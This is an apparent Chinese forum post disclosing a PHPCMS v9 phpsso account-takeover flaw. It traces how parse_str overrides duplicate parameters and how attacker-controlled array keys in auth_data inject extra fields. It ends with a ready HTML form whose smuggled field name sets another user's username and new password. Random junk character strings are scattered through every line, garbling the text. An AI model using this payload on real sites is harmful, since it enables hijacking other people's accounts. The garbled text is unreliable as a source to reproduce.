提到的通行证的代码:
% R* n7 S, ~) l2 o
; ]$ F. J: z0 V2 B$ x7 D( m/ I: G3 u& y' }+ Z' T' `* U
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" C4 b! H" ^& f+ f0 H1 w5 x
# k3 A8 v8 r9 `% u2 ^2 A: `- Z在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。2 e0 c! R3 c4 W2 ?" }% E
) W3 w' R, u: q) z
我把它留给了你们。. i- A2 E, Y) u. @+ ]5 \- e
不知道你们发现了它没有。8 {- @/ }: p3 c' d3 Q) u6 C }
) a k8 `0 i- V
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
$ o- `, O2 v+ I$ L6 I' P. F
2 ?; U) E7 f$ n5 R6 {7 t4 \' P所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
* a) J8 ?3 M( F9 p
/ w4 C } a9 w7 {& X" B也就是- r3 }, L# ~- g) J
- v) L& m* w6 p; w" H: _" Vusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。; g" C4 w1 r' g/ A4 T( X$ G
6 J6 }% s4 {$ j! W
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
$ X( u" e1 z9 |
5 O8 |1 z- O2 J* E, V/ N7 |6 F w7 O, d, d
其实我们有这样的机会,看看代码,如下:
2 Q7 Q. m9 A1 L$ F' H2 {0 N |- m/ @9 A7 r3 m
! I/ f3 m/ z* ]public function auth_data($data) {
. S) X. M2 R) r; s$ v S0 n9 ?# Y $s = $sep = '';; r4 L7 g$ i" S4 p
foreach($data as $k => $v) { L8 a6 J! s/ H1 o
if(is_array($v)) {2 ?' B+ \ d: j" P" E5 a
$s2 = $sep2 = '';9 l7 {0 D. K4 I" w, t8 ], ]
foreach($v as $k2 => $v2) {# Q [3 [7 w: ?: i% k
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);4 z; a, N6 w, s6 ?
$sep2 = '&';! E+ S2 U5 y2 B' @ @
}
+ ?( o$ v x' h! Y& [. Q# L $s .= $sep.$s2;
- y. ]) Q1 {' M% J+ e- Z } else {' H' S! I( J' \7 R9 W+ K
$s .= "$sep$k=".$this->_ps_stripslashes($v);
" _8 I0 B, D) [* ~: {, V }& j6 g( b1 c4 B! x+ Y: \
$sep = '&';
8 ]: g% L6 y3 J! N) d/ F' J }$ D0 N6 p. \. |! U- I2 J* O0 {
/ l0 g) T' }7 C$ }
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 v3 ?+ w8 I) G6 U return $auth_s;
; U2 K! T7 \ b7 @( m! a8 h }4 H/ V- D: u3 O$ ?# q- o
0 K3 ]3 `( E0 a% X' Y, W可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。& k- s9 o2 H) c' @; v
) h" P3 F2 G# A+ Y* y( V5 m0 c
举个例子
, ?5 }- W3 h; S. a: H: u# u- L! W8 I) g( {! j* o
$a[aaa=a&bbb] = 'a';
$ D4 a; [- H$ r' U; r( B% U, D3 Y/ t7 H1 N; W, h1 f0 n' Y( ]6 _
会变成aaa=a&bbb=a
: d6 ^4 E1 V e! k' h* o2 k
$ \, [/ Z! R8 x/ S8 y9 c0 V明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。" Q2 X6 B; y. Y
0 e# L7 b9 v) c! g3 O
这个时候,我们可以再去看一个函数。3 L0 ]2 k& u7 h+ W
5 l. u7 k& V! o, T8 G就在这个文件内:
, O. ?0 d C! F; n# x' B
5 O! d* ~1 ]' P1 _* \4 n! {4 [, t
* }3 |* U+ B% M e/ X4 x" ?public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {. T: ]: V- d. K" K+ f4 f8 B
if($email && !$this->_is_email($email)) {( y, e# V! ?0 Z4 G
return -4;
' S% j/ e: }2 X* q$ t3 F6 Q- M }% i8 a X4 F0 J- ^2 P$ y# F
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));3 L& M) U, e4 C
}
! t3 @3 }8 n/ g; L- A0 ^, e; [/ L/ ^" M
这是向通行证发了这样一个请求。
: E/ ^% h; \. J' ?# w! J% L, i) M" K I& F" [
我们再跟到通信证代码里去看看,就会有所发现。* W3 \* F7 r& C* P
' t, _9 m8 r: j/ K7 P- T) R w, h( L% A$ N7 J& f' U
public function edit() {8 f- Y7 k/ S6 r5 Z7 b |
//能省就省,太长了不是吗?
4 w$ U- b U+ M! q4 R% f& R
8 i1 Z) W( M# J& p Q( g- t4 lif($this->username) {( [6 \- [2 k$ V, ^6 j' w: Q
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
6 p$ _0 `6 d/ @* b $res = $this->db->update($data, array('username'=>$this->username));
0 a6 k$ e% p' z# R+ ]0 d: i } else {/ F- O& s+ m* T
file_put_contents('typeb.txt',print_r($data,1).$this->uid);' l5 R5 t! x2 }3 w
$res = $this->db->update($data, array('uid'=>$this->uid));$ h4 j& E# @$ `( x
}4 c9 Y8 g0 l! `% d* j
% Y) s4 L1 T. P好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:& b- t: c& W& ]0 Y& O; Q
0 L' f( u9 p8 o: g4 w
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') _/ P o, s) u6 ?* V$ v6 d3 F
2 [ ]2 G0 i5 a+ }, U! G8 p" W很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: d9 S O3 O' \! f) E; B- X+ ` A! Q! ]9 W9 X
我当然找到了:9 n5 @* x9 R' } U
phpcms9/phpcms/modules/member/index.php6 c: o0 y' p3 V( Q. o/ T J
2 Z/ a! c* ]) P D$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);$ S N+ t2 ]7 a" J
+ c6 r+ K+ A7 w
然后就没有然后了。
3 }; ?- C% E+ E$ N
( B* s# X3 ~: O; J<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
& W9 m1 ]& y6 k$ N+ t% \/ B6 B <table width="100%" cellspacing="0" class="table_form">% a6 [+ x' ^5 Z) W; T
<tr>: K% f) _+ V" x( F! D* M+ @
<th width="80">邮箱:</th>
7 T2 N- X3 D, A! r7 l9 M# Z- }0 q; v <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
0 b5 o6 @6 q# i0 q2 v) X* G </tr>; s+ t0 \6 \ X+ k
<tr>* H. X0 u/ G) P( U/ N2 G2 a
<th width="80">原密码:</th>
/ t( A! R; @/ J6 D: W1 j3 b$ h1 g <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
/ k' z/ h$ S# l' \* G3 h- h </tr>
- X9 _3 h. S6 @) v. u/ k <tr>; M2 r$ s" L( h( N
<th>新密码:</th>
& R# d" R" ]4 D+ s# K <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>0 n# Y# J7 L3 H$ P E0 _, f/ ~
</tr> _# V, R+ Q) j0 r
<th></th>/ a' H v8 K5 }% M- L) T) M
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
1 [$ `, g4 x* b1 d </tr>) @: T8 P3 ^* K+ h0 |+ Y) b
</table>
/ N. ~, V2 D& y" ?! [! g4 ^1 `% m7 z6 q, [
9 z( b3 I/ X' b( [) Q- M9 F </form>6 X; V& b- V# Y
|